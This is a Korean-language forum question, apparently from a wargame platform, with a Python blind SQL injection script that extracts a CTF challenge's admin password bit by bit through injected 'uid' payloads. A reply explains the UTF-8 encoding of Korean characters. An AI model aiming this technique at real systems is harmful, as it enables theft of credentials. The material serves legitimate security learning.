파이썬으로 bit로 찾으려고 시도했는데
import requests
keys=[]
for i in range(1,20):
key=''
for j in range(1,20):
url=f"http://host3.dreamhack.games:9393/?uid=admin' and substr(bin(ord(substr(upw,{i},1))),{j},1)='1"
a=requests.get(url=url)
if a.text.find('exists')!=-1:
key+="1"
else:
url=f"http://host3.dreamhack.games:9393/?uid=admin' and substr(bin(ord(substr(upw,{i},1))),{j},1)='0"
a=requests.get(url=url)
if a.text.find('exists')!=-1:
key+="0"
else:
break
keys.append(key)
print(keys)
results = []
for i in keys:
result = 0
length = len(i) - 1
for j in i:
if length == 0:
result += int(j) * 1
else:
result += int(j) * (2 ** int(length))
length -= 1
results.append(result)
print(results)
key = ""
for i in results:
key += chr(i)
print(key)
이렇게 작성하고 돌렸는데
['1000100', '1001000', '1111011', '1110110010011101101', '1110101010110010100', '1110110010011101101', '1110101110111001100', '1110101110110000100', '1110101110110010100', '1110110110011000101', '100001', '111111', '1111101', '0', '0', '0', '0', '0', '0']
[68, 72, 123, 484589, 480660, 484589, 482764, 482692, 482708, 486597, 33, 63, 125, 0, 0, 0, 0, 0, 0]
DH{!?}
왜 한글부분이 비트가 비정상적으로 많이 나오는지 모르겠어요
고수분들 제발 알려주세요!!
#web
작성자 정보
답변
1
kimht_
강의 수강: 1
UTF-8에서 한글 한 글자가 3바이트(24비트)이기 때문에 많이 나오는 것이 맞습니다.
보여주신 결과는 오히려 비트가 덜 구해진 것으로 보이네요